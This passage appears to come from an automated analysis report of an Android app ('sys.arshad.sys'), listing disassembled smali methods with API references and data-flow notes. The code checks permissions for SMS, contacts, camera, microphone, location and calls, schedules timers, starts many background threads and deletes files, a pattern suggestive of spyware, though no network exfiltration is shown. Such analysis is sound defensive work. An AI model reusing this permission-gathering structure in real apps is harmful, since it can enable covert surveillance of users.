11invoke-direct {v2, v0, v3}, Ljava/io/File;-><init>(Ljava/lang/String;Ljava/lang/String;)V
13invoke-virtual {v1, v2}, Ljava/io/File;->renameTo(Ljava/io/File;)Z
14goto_13: return-void
15catch_14: move-exception v0
16goto/16 :goto_13
Cross References
APIs
  • java.util.Timer.<init>
  • sys.arshad.sys.MainActivity.f
  • java.util.Timer.schedule
Position Instruction Meta Information
0try_start_0: new-instance v0, Ljava/util/Timer;
2invoke-direct {v0}, Ljava/util/Timer;-><init>()V
3iput-object v0, p0, Lsys/arshad/sys/MainActivity;->l:Ljava/util/Timer;
5invoke-virtual {p0}, Lsys/arshad/sys/MainActivity;->f()V
7iget-object v0, p0, Lsys/arshad/sys/MainActivity;->l:Ljava/util/Timer;
9iget-object v1, p0, Lsys/arshad/sys/MainActivity;->m:Ljava/util/TimerTask;
10const-wide/16 v2, 0x1388
11const-wide/16 v4, 0x7d0
13invoke-virtual/range {v0 .. v5}, Ljava/util/Timer;->schedule(Ljava/util/TimerTask;JJ)V
  • Data flow analysis:
    • p1: 5000
    • p3: 2000
14try_end_15: return-void
15catch_16: move-exception v0
16goto/16 :goto_15
Cross References
APIs
  • java.util.Timer.<init>
  • sys.arshad.sys.MainActivity.h
  • java.util.Timer.schedule
Position Instruction Meta Information
0try_start_0: new-instance v0, Ljava/util/Timer;
2invoke-direct {v0}, Ljava/util/Timer;-><init>()V
3iput-object v0, p0, Lsys/arshad/sys/MainActivity;->o:Ljava/util/Timer;
5invoke-virtual {p0}, Lsys/arshad/sys/MainActivity;->h()V
7iget-object v0, p0, Lsys/arshad/sys/MainActivity;->o:Ljava/util/Timer;
9iget-object v1, p0, Lsys/arshad/sys/MainActivity;->p:Ljava/util/TimerTask;
10const-wide/16 v2, 0x1388
11const-wide/16 v4, 0x7d0
13invoke-virtual/range {v0 .. v5}, Ljava/util/Timer;->schedule(Ljava/util/TimerTask;JJ)V
  • Data flow analysis:
    • p1: 5000
    • p3: 2000
14try_end_15: return-void
15catch_16: move-exception v0
16goto/16 :goto_15
Cross References
APIs
  • java.util.Timer.cancel
Strings
  • Stop
Position Instruction Meta Information
1const-string v0, "Stop"
2iput-object v0, p0, Lsys/arshad/sys/MainActivity;->L:Ljava/lang/String;
4iget-object v0, p0, Lsys/arshad/sys/MainActivity;->l:Ljava/util/Timer;
5if-eqz v0, :cond_10
7iget-object v0, p0, Lsys/arshad/sys/MainActivity;->l:Ljava/util/Timer;
9invoke-virtual {v0}, Ljava/util/Timer;->cancel()V
10const/4 v0, 0x0
11iput-object v0, p0, Lsys/arshad/sys/MainActivity;->l:Ljava/util/Timer;
12cond_10: return-void
Cross References
APIs
  • android.support.v4.b.a.a
Strings
  • android.permission.READ_SMS
Position Instruction Meta Information
1const-string v0, "android.permission.READ_SMS"
3invoke-static {p0, v0}, Landroid/support/v4/b/a;->a(Landroid/content/Context;Ljava/lang/String;)I
  • Data flow analysis:
    • p1: android.permission.READ_SMS
4move-result v0
5if-nez v0, :cond_a
6const/4 v0, 0x1
7goto_9: return v0
8cond_a: const/4 v0, 0x0
9goto/16 :goto_9
Cross References
APIs
  • android.support.v4.b.a.a
Strings
  • android.permission.READ_EXTERNAL_STORAGE
Position Instruction Meta Information
1const-string v0, "android.permission.READ_EXTERNAL_STORAGE"
3invoke-static {p0, v0}, Landroid/support/v4/b/a;->a(Landroid/content/Context;Ljava/lang/String;)I
  • Data flow analysis:
    • p1: android.permission.READ_EXTERNAL_STORAGE
4move-result v0
5if-nez v0, :cond_a
6const/4 v0, 0x1
7goto_9: return v0
8cond_a: const/4 v0, 0x0
9goto/16 :goto_9
Cross References
APIs
  • android.support.v4.b.a.a
Strings
  • android.permission.ACCESS_FINE_LOCATION
Position Instruction Meta Information
1const-string v0, "android.permission.ACCESS_FINE_LOCATION"
3invoke-static {p0, v0}, Landroid/support/v4/b/a;->a(Landroid/content/Context;Ljava/lang/String;)I
  • Data flow analysis:
    • p1: android.permission.ACCESS_FINE_LOCATION
4move-result v0
5if-nez v0, :cond_a
6const/4 v0, 0x1
7goto_9: return v0
8cond_a: const/4 v0, 0x0
9goto/16 :goto_9
Cross References
APIs
  • android.support.v4.b.a.a
Strings
  • android.permission.CAMERA
Position Instruction Meta Information
1const-string v0, "android.permission.CAMERA"
3invoke-static {p0, v0}, Landroid/support/v4/b/a;->a(Landroid/content/Context;Ljava/lang/String;)I
  • Data flow analysis:
    • p1: android.permission.CAMERA
4move-result v0
5if-nez v0, :cond_a
6const/4 v0, 0x1
7goto_9: return v0
8cond_a: const/4 v0, 0x0
9goto/16 :goto_9
Cross References
APIs
  • android.support.v4.b.a.a
Strings
  • android.permission.RECORD_AUDIO
Position Instruction Meta Information
1const-string v0, "android.permission.RECORD_AUDIO"
3invoke-static {p0, v0}, Landroid/support/v4/b/a;->a(Landroid/content/Context;Ljava/lang/String;)I
  • Data flow analysis:
    • p1: android.permission.RECORD_AUDIO
4move-result v0
5if-nez v0, :cond_a
6const/4 v0, 0x1
7goto_9: return v0
8cond_a: const/4 v0, 0x0
9goto/16 :goto_9
Cross References
APIs
  • android.support.v4.b.a.a
Strings
  • android.permission.READ_CONTACTS
Position Instruction Meta Information
1const-string v0, "android.permission.READ_CONTACTS"
3invoke-static {p0, v0}, Landroid/support/v4/b/a;->a(Landroid/content/Context;Ljava/lang/String;)I
  • Data flow analysis:
    • p1: android.permission.READ_CONTACTS
4move-result v0
5if-nez v0, :cond_a
6const/4 v0, 0x1
7goto_9: return v0
8cond_a: const/4 v0, 0x0
9goto/16 :goto_9
Cross References
APIs
  • android.support.v4.b.a.a
Strings
  • android.permission.CALL_PHONE
Position Instruction Meta Information
1const-string v0, "android.permission.CALL_PHONE"
3invoke-static {p0, v0}, Landroid/support/v4/b/a;->a(Landroid/content/Context;Ljava/lang/String;)I
  • Data flow analysis:
    • p1: android.permission.CALL_PHONE
4move-result v0
5if-nez v0, :cond_a
6const/4 v0, 0x1
7goto_9: return v0
8cond_a: const/4 v0, 0x0
9goto/16 :goto_9
Cross References
APIs
  • java.io.PrintStream.println
Strings
  • run out[0]
Position Instruction Meta Information
1sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
3const-string v1, "run out[0]"
5invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
  • Data flow analysis:
    • p0: run out[0]
6const/4 v0, 0x0
7return-object v0
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v8, Ljava/lang/Thread;
1new-instance v0, Lsys/arshad/sys/MainActivity$4;
2move-object v1, p0
3move-object v2, p2
4move-object v3, p1
5move-object v4, p3
6move-object v5, p4
7move-object v6, p5
8move-object v7, p6
10invoke-direct/range {v0 .. v7}, Lsys/arshad/sys/MainActivity$4;-><init>(Lsys/arshad/sys/MainActivity;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
12invoke-direct {v8, v0}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
14invoke-virtual {v8}, Ljava/lang/Thread;->start()V
15return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v6, Ljava/lang/Thread;
1new-instance v0, Lsys/arshad/sys/MainActivity$b$10;
2move-object v1, p0
3move-object v2, p3
4move-object v3, p1
5move-object v4, p2
6move v5, p4
8invoke-direct/range {v0 .. v5}, Lsys/arshad/sys/MainActivity$b$10;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;I)V
10invoke-direct {v6, v0}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
12invoke-virtual {v6}, Ljava/lang/Thread;->start()V
13return-void
Cross References
APIs
  • android.os.Handler.<init>
  • android.os.Handler.postDelayed
Position Instruction Meta Information
0try_start_0: new-instance v0, Landroid/os/Handler;
2invoke-direct {v0}, Landroid/os/Handler;-><init>()V
3new-instance v1, Lsys/arshad/sys/MainActivity$c$1;
5invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$c$1;-><init>(Lsys/arshad/sys/MainActivity$c;)V
6const-wide/16 v2, 0x4e20
8invoke-virtual {v0, v1, v2, v3}, Landroid/os/Handler;->postDelayed(Ljava/lang/Runnable;J)Z
  • Data flow analysis:
    • p1: 20000
9goto_f: return-void
10catch_10: move-exception v0
11goto/16 :goto_f
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0.annotation build Landroid/annotation/TargetApi;
1value = 0x10
2.end annotation
3new-instance v0, Ljava/lang/Thread;
4new-instance v1, Lsys/arshad/sys/MainActivity$17;
6invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$17;-><init>(Lsys/arshad/sys/MainActivity;)V
8invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
10invoke-virtual {v0}, Ljava/lang/Thread;->start()V
11return-void
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0try_start_0: new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$a$1;
3invoke-direct {v1, p0, p2}, Lsys/arshad/sys/MainActivity$b$a$1;-><init>(Lsys/arshad/sys/MainActivity$b$a;Landroid/content/Intent;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8goto_d: return-void
9catch_e: move-exception v0
10goto/16 :goto_d
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$16;
3invoke-direct {v1, p0, p1, p2}, Lsys/arshad/sys/MainActivity$b$16;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
9const-string v0, ""
10return-object v0
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$4;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$4;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
9const-string v0, ""
10return-object v0
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$5;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$5;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
9const-string v0, ""
10return-object v0
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$6;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$6;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
9const-string v0, ""
10return-object v0
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$7;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$7;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
9const-string v0, ""
10return-object v0
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$6;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$6;-><init>(Lsys/arshad/sys/MainActivity;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
9const-string v0, ""
10return-object v0
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0try_start_0: new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$9;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$9;-><init>(Lsys/arshad/sys/MainActivity;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8goto_d: return-void
9catch_e: move-exception v0
10goto/16 :goto_d
APIs
  • java.io.File.<init>
  • java.io.File.delete
Position Instruction Meta Information
0try_start_0: new-instance v0, Ljava/io/File;
2iget-object v1, p0, Lsys/arshad/sys/MainActivity$b$29;->a:Ljava/lang/String;
4invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
6invoke-virtual {v0}, Ljava/io/File;->delete()Z
7try_end_a: return-void
8catch_b: move-exception v0
9goto/16 :goto_a
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$45;
3invoke-direct {v1, p0, p2, p1}, Lsys/arshad/sys/MainActivity$b$45;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$15;
3invoke-direct {v1, p0, p1, p2}, Lsys/arshad/sys/MainActivity$b$15;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$18;
3invoke-direct {v1, p0, p2, p1}, Lsys/arshad/sys/MainActivity$b$18;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$19;
3invoke-direct {v1, p0, p2, p1}, Lsys/arshad/sys/MainActivity$b$19;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$12;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$b$12;-><init>(Lsys/arshad/sys/MainActivity$b;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$34;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$b$34;-><init>(Lsys/arshad/sys/MainActivity$b;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$43;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$b$43;-><init>(Lsys/arshad/sys/MainActivity$b;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$8;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$b$8;-><init>(Lsys/arshad/sys/MainActivity$b;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$9;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$b$9;-><init>(Lsys/arshad/sys/MainActivity$b;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$13;
3invoke-direct {v1, p0, p2, p1}, Lsys/arshad/sys/MainActivity$b$13;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;I)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-object p2
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$32;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$32;-><init>(Lsys/arshad/sys/MainActivity$b;I)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$1;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$1;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$3;
3invoke-direct {v1, p0, p1, p3, p2}, Lsys/arshad/sys/MainActivity$b$3;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$17;
3invoke-direct {v1, p0, p1, p2}, Lsys/arshad/sys/MainActivity$b$17;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-object p1
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$23;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$b$23;-><init>(Lsys/arshad/sys/MainActivity$b;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$42;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$42;-><init>(Lsys/arshad/sys/MainActivity$b;I)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$36;
3invoke-direct {v1, p0, p1, p2, p3}, Lsys/arshad/sys/MainActivity$b$36;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$44;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$b$44;-><init>(Lsys/arshad/sys/MainActivity$b;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$46;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$b$46;-><init>(Lsys/arshad/sys/MainActivity$b;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$47;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$b$47;-><init>(Lsys/arshad/sys/MainActivity$b;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$2;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$b$2;-><init>(Lsys/arshad/sys/MainActivity$b;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$11;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$11;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-object p1
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$14;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$14;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-object p1
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$20;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$b$20;-><init>(Lsys/arshad/sys/MainActivity$b;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$21;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$b$21;-><init>(Lsys/arshad/sys/MainActivity$b;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$24;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$24;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$22;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$b$22;-><init>(Lsys/arshad/sys/MainActivity$b;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$25;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$25;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$26;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$b$26;-><init>(Lsys/arshad/sys/MainActivity$b;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$27;
3invoke-direct {v1, p0, p1}, Lsys/arshad/sys/MainActivity$b$27;-><init>(Lsys/arshad/sys/MainActivity$b;Ljava/lang/String;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
7invoke-virtual {v0}, Ljava/lang/Thread;->start()V
8return-void
Cross References
APIs
  • java.lang.Thread.<init>
  • java.lang.Thread.start
Position Instruction Meta Information
0new-instance v0, Ljava/lang/Thread;
1new-instance v1, Lsys/arshad/sys/MainActivity$b$33;
3invoke-direct {v1, p0}, Lsys/arshad/sys/MainActivity$b$33;-><init>(Lsys/arshad/sys/MainActivity$b;)V
5invoke-direct {v0, v1}, Ljava/lang/Thread;-><init>(Ljava/lang/Runnable;)V
